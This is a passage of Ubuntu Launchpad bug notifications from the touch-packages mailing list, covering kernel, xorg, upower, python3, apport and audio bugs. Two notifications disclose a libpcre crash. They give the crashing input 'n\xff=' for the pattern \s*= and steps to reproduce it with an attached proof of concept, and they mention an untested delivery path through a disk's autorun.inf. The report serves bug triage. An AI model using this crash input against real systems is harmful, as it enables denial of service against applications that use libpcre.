This bug is missing log files that will aid in diagnosing the problem. While running an Ubuntu kernel (not a mainline or third-party kernel) please enter the following command in a terminal window: apport-collect 1799613 and then change the status of the bug to 'Confirmed'. If, due to the nature of the issue you have encountered, you are unable to run this command, please add a comment stating that fact and change the bug status to 'Confirmed'. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1799613 Title: In kernel 4.14.59, monitor resolution is detected correctly. In kernels after that, they are not detected correctly. Status in linux package in Ubuntu: Incomplete Status in xorg package in Ubuntu: New Bug description: dpkg --list | grep linux-image ii linux-image-4.15.0-36-generic 4.15.0-36.39 amd64Signed kernel image generic ii linux-image-4.15.0-38-generic 4.15.0-38.41 amd64Signed kernel image generic ii linux-image-generic 4.15.0.38.40 amd64Generic Linux kernel image ii linux-image-unsigned-4.14.59-041459-generic 4.14.59-041459.201807280929 amd64Linux kernel image for version 4.14.59 on 64 bit x86 SMP Booting from GRUB into 4.14.59 allows my two monitors to run at their native resolution, 2560x1440. Any newer kernel does not allow my two monitors to run at their native resolution, only allowing up to 1920x1200. uname -a Linux blackbox 4.14.59-041459-generic #201807280929 SMP Sat Jul 28 09:32:10 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1799613/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1796550] Re: [regression] Keyboard brightness control keys (down/up) don't work in cosmic (upower 0.99.8)
** Changed in: upower (Ubuntu) Status: Triaged => Fix Committed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to upower in Ubuntu. https://bugs.launchpad.net/bugs/1796550 Title: [regression] Keyboard brightness control keys (down/up) don't work in cosmic (upower 0.99.8) Status in linux package in Ubuntu: Invalid Status in upower package in Ubuntu: Fix Committed Bug description: * Impact keyboard backlight control keys don't work in cosmic * Test case On a laptop with keyboard backlight and keys to control the level, try using the keys, they should change the level * Regression potential The change is to lift some systemd process restriction, have extra access shouldn't create issue but check that other features like suspend, battery pourcentage report, etc keep working --- https://gitlab.freedesktop.org/upower/upower/issues/73 --- On laptops with two separate (down,up) keys to control the backlit keyboard, both keys seem to do nothing. The OSD for the backlit keyboard is displayed but no progress bar and no actual effect to the backlight. Almost as if the shell only understands laptops with a single key for controlling the keyboard backlight... Bug verified in cosmic on: * Asus UX331UAL * Apple Macbook Pro 12,1 * Apple Macbook Air All of them have these keys and they all fail in the same way. However it is not a kernel bug. The kernel interface (/sys/class/leds/*::kbd_backlight/*) works when I write to it directly. This seems to be a problem with Gnome Shell only. ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: gnome-shell 3.30.0-3ubuntu1 ProcVersionSignature: Ubuntu 4.18.0-8.9-generic 4.18.7 Uname: Linux 4.18.0-8-generic x86_64 ApportVersion: 2.20.10-0ubuntu11 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Sun Oct 7 13:41:50 2018 DisplayManager: gdm3 InstallationDate: Installed on 2018-09-11 (25 days ago) InstallationMedia: Ubuntu 18.10 "Cosmic Cuttlefish" - Alpha amd64 (20180822) SourcePackage: gnome-shell UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1796550/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799206] Re: SRU: update python3.6 to the new minor release 3.6.7
Hello Matthias, or anyone else affected, Accepted python3-defaults into bionic-proposed. The package will build now and be available at https://launchpad.net/ubuntu/+source/python3-defaults/3.6.7-1~18.04 in a few hours, and then in the -proposed repository. Please help us by testing this new package. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how to enable and use -proposed. Your feedback will aid us getting this update out to other Ubuntu users. If this package fixes the bug for you, please add a comment to this bug, mentioning the version of the package you tested and change the tag from verification-needed-bionic to verification-done-bionic. If it does not fix the bug for you, please add a comment stating that, and change the tag to verification-failed-bionic. In either case, without details of your testing we will not be able to proceed. Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance for helping! N.B. The updated package will be released to -updates after the bug(s) fixed by this package have been verified and the package has been in -proposed for a minimum of 7 days. ** Changed in: python3-defaults (Ubuntu Bionic) Status: New => Fix Committed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to python3-defaults in Ubuntu. https://bugs.launchpad.net/bugs/1799206 Title: SRU: update python3.6 to the new minor release 3.6.7 Status in python3-defaults package in Ubuntu: New Status in python3.6 package in Ubuntu: Fix Committed Status in python3-defaults source package in Bionic: Fix Committed Status in python3.6 source package in Bionic: Fix Committed Status in python3-defaults source package in Cosmic: New Status in python3.6 source package in Cosmic: Fix Committed Bug description: SRU: update python3.6 to the new minor release 3.6.7 See LP: #1792143 for the rationale, going one minor release ahead (and planning to do 3.6.8 in January, the last source release from the 3.6 branch). [Impact] Provide the branch updates for the stable 3.6 branch in the LTS release. [Regression Potential] There is regression potential, but this version is in use in 18.10, which didn't show regressions. [Test Case] No regressions in the Python 3.6 test suite, no regressions in the autopkg tests To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/python3-defaults/+bug/1799206/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1796550] Re: [regression] Keyboard brightness control keys (down/up) don't work in cosmic (upower 0.99.8)
** Description changed: + * Impact + keyboard backlight control keys don't work in cosmic + + * Test case + On a laptop with keyboard backlight and keys to control the level, try using the keys, they should change the level + + * Regression potential + The change is to lift some systemd process restriction, have extra access shouldn't create issue but check that other features like suspend, battery pourcentage report, etc keep working + + --- + https://gitlab.freedesktop.org/upower/upower/issues/73 --- On laptops with two separate (down,up) keys to control the backlit keyboard, both keys seem to do nothing. The OSD for the backlit keyboard is displayed but no progress bar and no actual effect to the backlight. Almost as if the shell only understands laptops with a single key for controlling the keyboard backlight... Bug verified in cosmic on: * Asus UX331UAL * Apple Macbook Pro 12,1 * Apple Macbook Air All of them have these keys and they all fail in the same way. However it is not a kernel bug. The kernel interface (/sys/class/leds/*::kbd_backlight/*) works when I write to it directly. This seems to be a problem with Gnome Shell only. ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: gnome-shell 3.30.0-3ubuntu1 ProcVersionSignature: Ubuntu 4.18.0-8.9-generic 4.18.7 Uname: Linux 4.18.0-8-generic x86_64 ApportVersion: 2.20.10-0ubuntu11 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Sun Oct 7 13:41:50 2018 DisplayManager: gdm3 InstallationDate: Installed on 2018-09-11 (25 days ago) InstallationMedia: Ubuntu 18.10 "Cosmic Cuttlefish" - Alpha amd64 (20180822) SourcePackage: gnome-shell UpgradeStatus: No upgrade log present (probably fresh install) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to upower in Ubuntu. https://bugs.launchpad.net/bugs/1796550 Title: [regression] Keyboard brightness control keys (down/up) don't work in cosmic (upower 0.99.8) Status in linux package in Ubuntu: Invalid Status in upower package in Ubuntu: Fix Committed Bug description: * Impact keyboard backlight control keys don't work in cosmic * Test case On a laptop with keyboard backlight and keys to control the level, try using the keys, they should change the level * Regression potential The change is to lift some systemd process restriction, have extra access shouldn't create issue but check that other features like suspend, battery pourcentage report, etc keep working --- https://gitlab.freedesktop.org/upower/upower/issues/73 --- On laptops with two separate (down,up) keys to control the backlit keyboard, both keys seem to do nothing. The OSD for the backlit keyboard is displayed but no progress bar and no actual effect to the backlight. Almost as if the shell only understands laptops with a single key for controlling the keyboard backlight... Bug verified in cosmic on: * Asus UX331UAL * Apple Macbook Pro 12,1 * Apple Macbook Air All of them have these keys and they all fail in the same way. However it is not a kernel bug. The kernel interface (/sys/class/leds/*::kbd_backlight/*) works when I write to it directly. This seems to be a problem with Gnome Shell only. ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: gnome-shell 3.30.0-3ubuntu1 ProcVersionSignature: Ubuntu 4.18.0-8.9-generic 4.18.7 Uname: Linux 4.18.0-8-generic x86_64 ApportVersion: 2.20.10-0ubuntu11 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Sun Oct 7 13:41:50 2018 DisplayManager: gdm3 InstallationDate: Installed on 2018-09-11 (25 days ago) InstallationMedia: Ubuntu 18.10 "Cosmic Cuttlefish" - Alpha amd64 (20180822) SourcePackage: gnome-shell UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1796550/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1740894] Re: KEY_RFKILL is not passed to userspace
Change uploaded to bionic and cosmic ** Package changed: gnome-settings-daemon (Ubuntu) => xkeyboard-config (Ubuntu) ** Changed in: xkeyboard-config (Ubuntu) Status: Triaged => Fix Committed ** Description changed: + * Impact + the airplane mode key doesn't work in GNOME + + * Test case + Use a laptop with a key to activate airplane mode, it should toggle the corresponding mode on/off when used + + * Regression potential + The change adds a new key definition but doesn't touch any existing one, nothing specific to test out of the new key working + + - + There are a couple things going on, that could be fixed by a Debian or Ubuntu maintainer: - libxkbdcommon needs to be updated from 0.7.1 to 0.7.2. This introduces the RFKill key: https://lists.freedesktop.org/archives/wayland- devel/2017-August/034721.html - x11-proto needs a new release. This commit added RFKill, but it is not in a release: https://cgit.freedesktop.org/xorg/proto/xproto/commit/?id=98a32d328e7195e12c38baa877917335bceffbaf - Likely other X11 packages need to be rebuilt. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to libxkbcommon in Ubuntu. https://bugs.launchpad.net/bugs/1740894 Title: KEY_RFKILL is not passed to userspace Status in libxkbcommon package in Ubuntu: Fix Released Status in xkeyboard-config package in Ubuntu: Fix Committed Status in xorgproto package in Ubuntu: Fix Released Bug description: * Impact the airplane mode key doesn't work in GNOME * Test case Use a laptop with a key to activate airplane mode, it should toggle the corresponding mode on/off when used * Regression potential The change adds a new key definition but doesn't touch any existing one, nothing specific to test out of the new key working - There are a couple things going on, that could be fixed by a Debian or Ubuntu maintainer: - libxkbdcommon needs to be updated from 0.7.1 to 0.7.2. This introduces the RFKill key: https://lists.freedesktop.org/archives /wayland-devel/2017-August/034721.html - x11-proto needs a new release. This commit added RFKill, but it is not in a release: https://cgit.freedesktop.org/xorg/proto/xproto/commit/?id=98a32d328e7195e12c38baa877917335bceffbaf - Likely other X11 packages need to be rebuilt. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/libxkbcommon/+bug/1740894/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799935] [NEW] System settings window does not display on screen after moving the dockbar to Bottom
Public bug reported: Hi, I opened the settings window fromt the top left corner. I changed the dockbar position from left to bottom. After changing the dockbar to the bottom, the setttings panel does not show up on the screen. While it shows up on the dockbar, Clicking on it shows the settings window that is open. But, the settings window does not show on the screen. Let me know how this can be fixed. All logs are collected using Alt+F2 ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 Uname: Linux 4.15.0-36-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Thu Oct 25 17:04:20 2018 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation 3rd Gen Core processor Graphics Controller [8086:0166] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Lenovo 3rd Gen Core processor Graphics Controller [17aa:3977] NVIDIA Corporation GF108M [GeForce GT 630M] [10de:0de9] (rev a1) (prog-if 00 [VGA controller]) Subsystem: Lenovo GF108M [GeForce GT 620M/630M/635M/640M LE] [17aa:3902] InstallationDate: Installed on 2018-10-07 (18 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: LENOVO IdeaPad Z580 ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_IN SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-36-generic root=/dev/mapper/ubuntu--vg-root ro quiet splash vt.handoff=1 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 06/11/2012 dmi.bios.vendor: LENOVO dmi.bios.version: 5FCN34WW dmi.board.asset.tag: Base Board Asset Tag dmi.board.name: Lenovo dmi.board.vendor: LENOVO dmi.board.version: Lenovo Z580 dmi.chassis.asset.tag: Asset Tag dmi.chassis.type: 9 dmi.chassis.vendor: Intel Corporation dmi.chassis.version: 0.1 dmi.modalias: dmi:bvnLENOVO:bvr5FCN34WW:bd06/11/2012:svnLENOVO:pnIdeaPadZ580:pvrLenovoZ580:rvnLENOVO:rnLenovo:rvrLenovoZ580:cvnIntelCorporation:ct9:cvr0.1: dmi.product.family: IDEAPAD Z580 dmi.product.name: IdeaPad Z580 dmi.product.version: Lenovo Z580 dmi.sys.vendor: LENOVO version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.91-2 version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.5-0ubuntu0~18.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.5-0ubuntu0~18.04.1 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug bionic ubuntu -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1799935 Title: System settings window does not display on screen after moving the dockbar to Bottom Status in xorg package in Ubuntu: New Bug description: Hi, I opened the settings window fromt the top left corner. I changed the dockbar position from left to bottom. After changing the dockbar to the bottom, the setttings panel does not show up on the screen. While it shows up on the dockbar, Clicking on it shows the settings window that is open. But, the settings window does not show on the screen. Let me know how this can be fixed. All logs are collected using Alt+F2 ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 Uname: Linux 4.15.0-36-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Thu Oct 25 17:04:20 2018 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation 3rd Gen Core processor Graphics Controller [8086:0166] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Lenovo 3rd Gen Core processor Graphics Controller [17aa:3977] NVIDIA Corporation GF108M [GeForce GT 630M] [10de:0de9] (rev a1) (prog-if 00 [VGA controller]) Subsystem: Lenovo GF108M [GeForce GT 620M/630M/635M/640M LE] [17aa:3902] InstallationDate: Installed on 2018-10-07 (18 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: LENOVO IdeaPad Z580 ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_IN S
[Touch-packages] [Bug 1798725] Re: Content "n\xff=" can crash libpcre when an application is matching the pattern \s*=
I have reworked the PoC to one which allows to reproduce the crash directly just using libpcre, and have verified this works directly on the upstream libpcre releases 8.39, 8.40, 8.41 & 8.42 - waiting on response from upstream - https://bugs.exim.org/show_bug.cgi?id=2330#c2 ** Bug watch added: bugs.exim.org/ #2330 http://bugs.exim.org/show_bug.cgi?id=2330 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pcre3 in Ubuntu. https://bugs.launchpad.net/bugs/1798725 Title: Content "n\xff=" can crash libpcre when an application is matching the pattern \s*= Status in pcre3 package in Ubuntu: Confirmed Bug description: Reported upstream at https://bugs.exim.org/show_bug.cgi?id=2330 - libpcre3 can be made to crash when matching the pattern \s*= when the context is n\xff= Able to reproduce on current Bionic using the PoC attached (which is copied directly from the upstream bug report) - in a fresh Bionic VM: $ sudo apt install build-essential libgtk2.0-dev $ cd PCRE_PoC $ ./compilePoC.sh $ ./PoC Content: --- n�= --- Pattern: --- \s*= - Segmentation fault (core dumped) Haven't yet tested the second PoC via an external disk autorun.inf and gvfs-udisks2-volume-monitor. Also haven't tested in Cosmic / older releases To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pcre3/+bug/1798725/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1798725] Re: Content "n\xff=" can crash libpcre when an application is matching the pattern \s*=
** Attachment added: "PoC using libpcre (ie without libglib)" https://bugs.launchpad.net/ubuntu/+source/pcre3/+bug/1798725/+attachment/5205348/+files/PoC.c -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pcre3 in Ubuntu. https://bugs.launchpad.net/bugs/1798725 Title: Content "n\xff=" can crash libpcre when an application is matching the pattern \s*= Status in pcre3 package in Ubuntu: Confirmed Bug description: Reported upstream at https://bugs.exim.org/show_bug.cgi?id=2330 - libpcre3 can be made to crash when matching the pattern \s*= when the context is n\xff= Able to reproduce on current Bionic using the PoC attached (which is copied directly from the upstream bug report) - in a fresh Bionic VM: $ sudo apt install build-essential libgtk2.0-dev $ cd PCRE_PoC $ ./compilePoC.sh $ ./PoC Content: --- n�= --- Pattern: --- \s*= - Segmentation fault (core dumped) Haven't yet tested the second PoC via an external disk autorun.inf and gvfs-udisks2-volume-monitor. Also haven't tested in Cosmic / older releases To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pcre3/+bug/1798725/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799206] Re: SRU: update python3.6 to the new minor release 3.6.7
Hello Matthias, or anyone else affected, Accepted python3-defaults into cosmic-proposed. The package will build now and be available at https://launchpad.net/ubuntu/+source/python3-defaults/3.6.7-1~18.10 in a few hours, and then in the -proposed repository. Please help us by testing this new package. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how to enable and use -proposed. Your feedback will aid us getting this update out to other Ubuntu users. If this package fixes the bug for you, please add a comment to this bug, mentioning the version of the package you tested and change the tag from verification-needed-cosmic to verification-done-cosmic. If it does not fix the bug for you, please add a comment stating that, and change the tag to verification-failed-cosmic. In either case, without details of your testing we will not be able to proceed. Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance for helping! N.B. The updated package will be released to -updates after the bug(s) fixed by this package have been verified and the package has been in -proposed for a minimum of 7 days. ** Changed in: python3-defaults (Ubuntu Cosmic) Status: New => Fix Committed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to python3-defaults in Ubuntu. https://bugs.launchpad.net/bugs/1799206 Title: SRU: update python3.6 to the new minor release 3.6.7 Status in python3-defaults package in Ubuntu: Fix Committed Status in python3.6 package in Ubuntu: Fix Committed Status in python3-defaults source package in Bionic: Fix Committed Status in python3.6 source package in Bionic: Fix Committed Status in python3-defaults source package in Cosmic: Fix Committed Status in python3.6 source package in Cosmic: Fix Committed Bug description: SRU: update python3.6 to the new minor release 3.6.7 See LP: #1792143 for the rationale, going one minor release ahead (and planning to do 3.6.8 in January, the last source release from the 3.6 branch). [Impact] Provide the branch updates for the stable 3.6 branch in the LTS release. [Regression Potential] There is regression potential, but this version is in use in 18.10, which didn't show regressions. [Test Case] No regressions in the Python 3.6 test suite, no regressions in the autopkg tests To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/python3-defaults/+bug/1799206/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1692127] Re: duplicate signature for Package problems can be too short
** Tags added: id-5956aefd1fbc2cddbec3dbc9
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1692127
Title:
duplicate signature for Package problems can be too short
Status in apport package in Ubuntu:
Fix Released
Status in apport source package in Xenial:
Fix Released
Status in apport source package in Yakkety:
Fix Released
Status in apport source package in Zesty:
Fix Released
Status in apport source package in Artful:
Fix Released
Bug description:
[Impact]
apport is creating a shorter than appropriate duplicate signature in
apport-package bug reports which can lead to misconsolidation and confused
developers.
[Test Case]
1) Boot a system with an old kernel installed or a freshly installed system
2) edit /etc/default/grub and replace a ` with a '
3) Upgrade the kernel, watch it crash
4) Discover a crash report with a DuplicateSignature whose 2nd line starts
with "Examining"
With the version of the package from -proposed the DuplicateSignature
in this case should really have a 2nd line that starts with 'Setting
up linux-image* ...'. While in this particular case not much is lost
in other cases valuable information will be missing.
[Regression Potential]
The code change is correct and has been tested in artful, additionally I'm
using the same regular expression to clean up apport-package reports as they
come in to LP. The only risk here is a typo in the patch that would cause the
hook (the change is in the ubuntu general hook) to error out which apport would
handle gracefully and we just wouldn't have a DuplicateSignature.
[The Original Description]
Steve brought up bug 1691983 and how it's duplicate signature is missing
information. It contains:
package:shim-signed:1.27~16.04.1+0.9+1474479173.6c180c6-1ubuntu1
Installing for x86_64-efi platform.
Installation finished. No error reported.
Running in non-interactive mode, doing nothing.
dpkg: error processing package shim-signed (--configure):
subprocess installed post-installation script returned error exit status 1
But is missing:
Setting up shim-signed (1.27~16.04.1+0.9+1474479173.6c180c6-1ubuntu1) ...
locale: Cannot set LC_CTYPE to default locale: No such file or directory
locale: Cannot set LC_MESSAGES to default locale: No such file or directory
locale: Cannot set LC_ALL to default locale: No such file or directory
debconf: unable to initialize frontend: Passthrough
debconf: (Cannot connect to /tmp/aptdaemon-7jrqb_du/debconf.socket:
Connection refused at (eval 18) line 3.)
debconf: falling back to frontend: Noninteractive
This is because of the following code in data/general-hooks/ubuntu.py:
145 PKG_MSGS = ('Authenticating', 'De-configuring', 'Examining',
146 'Installing ', 'Preparing', 'Processing
triggers', 'Purging',
147 'Removing', 'Replaced', 'Replacing', 'Setting up',
148 'Unpacking', 'Would remove')
149 for line in termlog.split('\n'):
150 if line.startswith(PKG_MSGS):
151 dupe_sig = '%s\n' % line
152 continue
The shim-signed package prints a line starts with "Installing " and
that matches PKG_MSGS so we reset the dupe_sig because that's a
message we'd expect from a package manager.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1692127/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799764] Re: python3-lib2to3 is not installable with python3
now fixed in -proposed ** Changed in: python3-stdlib-extensions (Ubuntu) Status: New => Invalid ** Changed in: python3-defaults (Ubuntu) Status: New => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to python3-defaults in Ubuntu. https://bugs.launchpad.net/bugs/1799764 Title: python3-lib2to3 is not installable with python3 Status in python3-defaults package in Ubuntu: Fix Released Status in python3-stdlib-extensions package in Ubuntu: Invalid Bug description: python3 from python3-defaults is 3.6.5-3ubuntu1 python3-lib2to3 from python3-stdlib-extensions Depends: python3 (>= 3.6.6-1~) Either python3-stdlib-extensions dep should be lowered, or python3-defaults should be rebuilt. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/python3-defaults/+bug/1799764/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1785629] Re: [MIR] gupnp-av
Tests are actually ran during package build. So, good in that regard. Should it ran as autopkgtests though? -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gupnp-av in Ubuntu. https://bugs.launchpad.net/bugs/1785629 Title: [MIR] gupnp-av Status in gupnp-av package in Ubuntu: New Bug description: * Availability Builds on all supported architectures in Ubuntu and on sync from Debian * Rationale We would like to enable dlna sharing of media files, which is a GNOME upstream feature and relying on rygel which depends on the gupnp libraries, including the gupnp-dlna one * Security No CVE/known security issue * Quality assurance - the desktop-packages team is subscribed to the package - the bug lists in upstream, the Debian PTS and launchpad are empty - upstream has a testsuit which is not being used during build, we are going to look at changing that * Dependendies The package uses standard desktop libraries that are already in main (gstreamer, glib) * Standards compliance the package is using standard packaging (dh10), the standards-version is 3.9.8, the package is in sync from Debian * Maintainance Upstream is active and the desktop team is going to look after the package in ubuntu To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gupnp-av/+bug/1785629/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799950] [NEW] After logging intow Windows OS, sound doesn't work properly on ubunutu
Public bug reported: I logged of Windows OS, went back to Ubuntu. The sound wasn't working properly. Could hardly hear anything even on max volume. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 Uname: Linux 4.15.0-36-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: nwon0002 1646 F pulseaudio /dev/snd/pcmC1D0c: nwon0002 1646 F...m pulseaudio /dev/snd/pcmC1D0p: nwon0002 1646 F...m pulseaudio /dev/snd/controlC1: nwon0002 1646 F pulseaudio CurrentDesktop: communitheme:ubuntu:GNOME Date: Thu Oct 25 20:57:59 2018 InstallationDate: Installed on 2018-08-11 (74 days ago) InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20180725) PackageArchitecture: all SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:PCH successful Symptom_Card: Built-in Audio - HDA Intel PCH Symptom_Jack: Black Headphone Out, Right Symptom_PulseAudioLog: Oct 25 20:43:10 nwon0002-X555LF dbus-daemon[1036]: [system] Activating via systemd: service name='org.freedesktop.RealtimeKit1' unit='rtkit-daemon.service' requested by ':1.27' (uid=121 pid=1332 comm="/usr/bin/pulseaudio --daemonize=no " label="unconfined") Symptom_PulsePlaybackTest: PulseAudio playback test successful Symptom_Type: Underruns, dropouts, or "crackling" sound Title: [X555LF, Realtek ALC3236, Black Headphone Out, Right] Underruns, dropouts or crackling sound UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 07/09/2015 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: X555LF.502 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: X555LF dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: ATN12345678901234567 dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrX555LF.502:bd07/09/2015:svnASUSTeKCOMPUTERINC.:pnX555LF:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnX555LF:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0: dmi.product.family: X dmi.product.name: X555LF dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. ** Affects: alsa-driver (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug bionic -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1799950 Title: After logging intow Windows OS, sound doesn't work properly on ubunutu Status in alsa-driver package in Ubuntu: New Bug description: I logged of Windows OS, went back to Ubuntu. The sound wasn't working properly. Could hardly hear anything even on max volume. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 Uname: Linux 4.15.0-36-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: nwon0002 1646 F pulseaudio /dev/snd/pcmC1D0c: nwon0002 1646 F...m pulseaudio /dev/snd/pcmC1D0p: nwon0002 1646 F...m pulseaudio /dev/snd/controlC1: 